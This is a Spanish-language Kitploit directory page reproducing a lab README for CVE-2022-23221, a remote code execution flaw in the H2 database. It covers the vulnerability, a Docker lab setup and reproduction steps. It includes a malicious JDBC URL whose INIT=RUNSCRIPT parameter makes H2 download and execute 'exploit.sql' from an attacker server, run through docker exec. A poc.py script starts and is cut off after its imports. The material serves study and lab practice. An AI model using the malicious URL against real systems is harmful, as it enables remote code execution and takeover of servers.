Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
H2-database-CVE-2022-23221 — vulhub/H2-database/CVE-2022-23221 | Kitploit
Herramientas/GitHubGitHub/straightsang/h2-database-cve-2022-23221
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónSeguridad de Bases de DatosLabs y Práctica
GitHubstraightsang/h2-database-cve-2022-23221

H2-database-CVE-2022-23221

vulhub/H2-database/CVE-2022-23221

Ver Repositorio
23hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

H2 Database RCE (CVE-2022-23221)


1. Resumen

  • Referencia: https://nvd.nist.gov/vuln/detail/cve-2022-23221

  • H2 es un sistema de gestión de bases de datos relacionales que ofrece la funcionalidad de compilar y ejecutar código Java directamente dentro del motor SQL.

  • El controlador de H2 analiza la URL JDBC para establecer la conexión entre la aplicación y la base de datos. En este proceso, los parámetros de configuración incluidos en la URL permiten controlar el estado inicial o el comportamiento de la base de datos.

  • Las versiones de H2 anteriores a la 2.1.210 presentan el problema de que es posible ejecutar scripts SQL remotos a través del parámetro INIT de la URL JDBC. Un atacante puede aprovechar esto para inyectar de forma remota un script SQL manipulado y, mediante las sentencias contenidas en su interior, ejecutar comandos del sistema, lo que provoca la vulnerabilidad CVE-2022-23221.

  • Las características de esta vulnerabilidad son las siguientes.

    1. No requiere autenticación: cualquiera que tenga permiso para introducir una URL JDBC puede aprovechar esta vulnerabilidad para tomar el control del sistema.
    2. Ejecución automática al iniciar el servicio: si el atacante modifica únicamente el archivo de configuración, el RCE (ejecución remota de código) se produce automáticamente al iniciar el servicio que utiliza H2.
    3. Ocultamiento: al desarrollador le resulta difícil percatarse del ataque.
    4. Amplio alcance de daño: gracias a su rapidez y ligereza, H2 se utiliza para el desarrollo y las pruebas de diversos servicios web. Dado que cualquier entorno capaz de configurar una URL JDBC mediante un archivo de configuración o a partir de la entrada del usuario puede ser objetivo de un ataque que aproveche esta vulnerabilidad, su impacto es grande.
  • Alcance del impacto de la vulnerabilidad

    • Versiones afectadas: H2 anterior a 2.1.210
    • Versión parcheada: H2 2.1.210 o superior

2. Condiciones de la vulnerabilidad

  • Debe ser una versión de H2 anterior a la 2.1.210.
  • La URL JDBC debe contener IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’.
    1. IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> omisión de la configuración de seguridad
      • Como estos parámetros anulan la configuración de seguridad, el comando de ejecución de scripts remotos no se bloquea durante la inicialización y se ejecuta tal cual.
    2. INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> comando SQL que se ejecuta automáticamente al conectar la aplicación con la base de datos
      • Si el valor del parámetro INIT contiene el comando SQL RUNSCRIPT y la dirección de un script malicioso, H2 se conecta a dicho servidor, descarga el archivo y lo ejecuta cuando se establece la conexión entre la aplicación y la base de datos H2.
  • El script SQL descargado debe contener la sentencia SQL CREATE ALIAS.
    • La sentencia CREATE ALIAS dentro del script que se ejecutará de forma remota hace que H2 ejecute la función Java contenida en el script dentro de la base de datos y, como resultado, se produce el RCE.




3. Configuración del entorno

  • Escenario

    • Se configura un entorno H2 vulnerable y se introduce una URL JDBC maliciosa en H2. H2 analiza esta URL sin la validación adecuada y recibe y ejecuta el archivo sql desde el servidor del atacante. Si en el registro del servidor h2-vulnerable se muestra la cadena "EXPLOITED" junto con los resultados de ejecución de los comandos id, whoami y pwd, esto significa que se ha configurado un entorno H2 vulnerable y que, en el proceso de análisis de la URL JDBC maliciosa por parte de H2, el archivo exploit.sql se ha descargado de forma remota desde el servidor externo del atacante y se ha ejecutado.
  • Configuración del entorno

    docker compose up -d 
    

    docker ps

    • Al ejecutar el comando, se inician los siguientes entornos.
    • h2-vulnerable: H2 2.0.206 (versión vulnerable anterior al parche)
      • Consola web de H2: http://your-ip:8082
      • Servidor TCP: tcp://your-ip:9092
    • attacker: servidor HTTP
      • http://your-ip:8000 : proporciona el archivo exploit.sql
  • Tras configurar el entorno, si accedes a http://your-ip:8082 aparece la página web de H2.




4. Procedimiento de reproducción

: Dado que en la consola web se aplican políticas de seguridad y los parámetros que constituyen la condición de la vulnerabilidad pueden ser filtrados, se reproduce la vulnerabilidad introduciendo directamente a través de la CLI una URL JDBC que contenga parámetros maliciosos y se verifica el resultado.

[Caso de solicitud normal]

  • URL JDBC normal: "jdbc:h2:mem:test"

  • Comando de solicitud normal

    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
    -url "jdbc:h2:mem:test" \
    -user sa \
    -password ""
    
  • Resultado de la ejecución Ejecución basada en CLI

    • No hay ninguna solicitud recibida en el servidor attacker
    • No se imprime ningún registro relevante en el servidor h2-vulnerable

[Caso de ataque de vulnerabilidad]

  • URL JDBC maliciosa: "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"

1. Ejecución del ataque

  • Se introduce una URL JDBC maliciosa en el driver H2 para intentar la conexión con el servidor attacker. En este caso, hay 2 formas de introducir la URL.

    1. Introducir directamente la URL JDBC maliciosa en el H2 Shell a través de la CLI.
    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
      -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
      -user sa \
      -password ""
    

    Ejecución basada en CLI

    1. Ejecutar el archivo PoC.
    python3 poc.py
    

    Ejecución de poc.py

2. Solicitud y ejecución de archivos

  • H2 solicita (HTTP GET) el archivo exploit.sql al servidor attacker según INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql' especificado en el parámetro INIT de la URL JDBC y lo ejecuta dentro de la base de datos H2.

    1. Al ejecutar docker logs attacker se puede ver el registro de la solicitud del archivo exploit.sql recibida desde el servidor h2-vulnerable.
    docker logs attacker
    

    1. El servidor attacker devuelve el archivo exploit.sql solicitado, y el servidor h2-vulnerable ejecuta el archivo exploit.sql recibido. En este momento, la sentencia CREATE ALIAS dentro del script induce la ejecución de código Java, provocando así un RCE.


5. Código de poc.py

#!/usr/bin/env python3

# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.

import subprocess
import time
import sys
Descargar herramienta